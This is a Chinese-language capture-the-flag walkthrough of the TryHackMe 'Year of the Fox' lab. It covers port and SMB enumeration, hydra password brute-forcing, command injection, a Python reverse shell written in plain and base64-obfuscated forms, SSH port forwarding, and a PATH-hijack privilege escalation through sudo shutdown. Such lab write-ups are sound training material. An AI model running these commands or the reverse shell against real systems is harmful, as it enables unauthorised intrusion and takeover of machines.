简介
Don't underestimate the sly old fox...
房间链接
https://tryhackme.com/room/yotf#
问题
挑战开始
首先扫描下端口
nmap -p 1-65535 -sV -sC 10.10.33.197
└─# nmap -p 1-65535 -sV -sC 10.10.33.197
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-06 14:34 UTC
Nmap scan report for ip-10-10-33-197.eu-west-1.compute.internal (10.10.33.197)
Host is up (0.0027s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 401 Unauthorized
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=You want in? Gotta guess the password!
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: YEAROFTHEFOX)
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: YEAROFTHEFOX)
MAC Address: 02:EC:2B:9A:27:63 (Unknown)
Service Info: Hosts: year-of-the-fox.lan, YEAR-OF-THE-FOX
Host script results:
|_nbstat: NetBIOS name: YEAR-OF-THE-FOX, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2022-12-06T14:34:40
|_ start_date: N/A
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
| Computer name: year-of-the-fox
| NetBIOS computer name: YEAR-OF-THE-FOX\x00
| Domain name: lan
| FQDN: year-of-the-fox.lan
|_ System time: 2022-12-06T14:34:40+00:00
接着使用nmap继续对smb进行探测
nmap -p445 --script smb-vuln* 10.10.33.197
可能存在一个拒绝服务漏洞
─# nmap -p445 --script smb-vuln* 10.10.33.197
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-06 15:33 UTC
Nmap scan report for ip-10-10-33-197.eu-west-1.compute.internal (10.10.33.197)
Host is up (0.00015s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 02:EC:2B:9A:27:63 (Unknown)
Host script results:
| smb-vuln-regsvc-dos:
| VULNERABLE:
| Service regsvc in Microsoft Windows systems vulnerable to denial of service
| State: VULNERABLE
| The service regsvc in Microsoft Windows 2000 systems is vulnerable to denial of service caused by a null deference
| pointer. This script will crash the service if it is vulnerable. This vulnerability was discovered by Ron Bowes
| while working on smb-enum-sessions.
|_
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: false
nmap -p 445 --script smb-enum* 10.10.33.197
└─# nmap -p 445 --script smb-enum* 10.10.33.197
Nmap scan report for ip-10-10-33-197.eu-west-1.compute.internal (10.10.33.197)
Host is up (0.00020s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 02:EC:2B:9A:27:63 (Unknown)
Host script results:
| smb-enum-shares:
| account_used: guest
| \\10.10.33.197\IPC$:
| Type: STYPE_IPC_HIDDEN
| Comment: IPC Service (year-of-the-fox server (Samba, Ubuntu))
| Users: 2
| Max Users: <unlimited>
| Path: C:\tmp
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\10.10.33.197\yotf:
| Type: STYPE_DISKTREE
| Comment: Fox's Stuff -- keep out!
| Users: 0
| Max Users: <unlimited>
| Path: C:\home\fox\samba
| Anonymous access: <none>
|_ Current user access: <none>
| smb-enum-domains:
| Builtin
| Groups: n/a
| Users: n/a
| Creation time: unknown
| Passwords: min length: 5; min age: n/a days; max age: n/a days; history: n/a passwords
| Account lockout disabled
| YEAR-OF-THE-FOX
| Groups: n/a
| Users: fox
| Creation time: unknown
| Passwords: min length: 5; min age: n/a days; max age: n/a days; history: n/a passwords
|_ Account lockout disabled
| smb-enum-sessions:
|_ <nobody>
| smb-enum-users:
| YEAR-OF-THE-FOX\fox (RID: 1000)
| Full name: fox
| Description:
|_ Flags: Normal user account
Nmap done: 1 IP address (1 host up) scanned in 300.40 seconds
这儿可以看出枚举出了一个fox账号
接着使用enum4linux进行进一步搜集
最终一共获取了两个用户
fox和rascal
这里我们有个方向，可以尝试SMB爆破，事实上我也这么做了，但是并没有收获。
在爆破期间，我们可以看看80端口
提示需要登陆
这里我们有两个账号，尝试登陆抓包
这里有个提示爆破
使用hydra进行爆破这两个账号
hydra -L /home/kali/Desktop/user.txt -P /usr/share/wordlists/rockyou.txt 10.10.204.64 http-get
成功爆出密码
成功登陆
登录后界面上有一个输入框，输入文件名会检索存不存在
但是界面上不可以输入特殊字符，使用burp
尝试命令注入
payload
https://github.com/payloadbox/command-injection-payload-list
经过fuzz
成功命令执行
尝试反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.17.0.56",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
base64加密
cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTAuMTcuMC41NiIsNjY2NikpO29zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpOyBvcy5kdXAyKHMuZmlsZW5vKCksMik7cD1zdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSk7Jw==
echo cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTAuMTcuMC41NiIsNjY2NikpO29zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpOyBvcy5kdXAyKHMuZmlsZW5vKCksMik7cD1zdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSk7Jw== | base64 -d | bash
成功反弹shell
找到第一个flag
查看下权限，发现权限太低了
因为没开放22端口，所以看下什么情况
没对外开放，所以要用到端口转发工具
这里我用的ew
./ew -s lcx_tran -l 4444 -f 127.0.0.1 -g 22
成功端口转发
首先尝试rascal/perkins登陆
发现无法登陆，查看了下ssh配置才发现只允许fox用户登陆
尝试爆破fox ssh
成功爆破出密码chubby
成功登陆fox，获取user flag
尝试提权
sudo -l
发现可以免密高权限执行shutdown
在目标机器上开启http服务，下载shutdown,发现他调用了poweroff,且没有使用绝对路径
尝试提权
cp /bin/bash /tmp/poweroff
chmod 777 poweroff
export PATH=/tmp:$PATH
sudo /usr/sbin/shutdown
成功提权
但是flag不在root下
find /home -group root -type f
最终成功找到flag
THM{ODM3NTdkMDljYmM4ZjdhZWFhY2VjY2Fk};
Comments NOTHING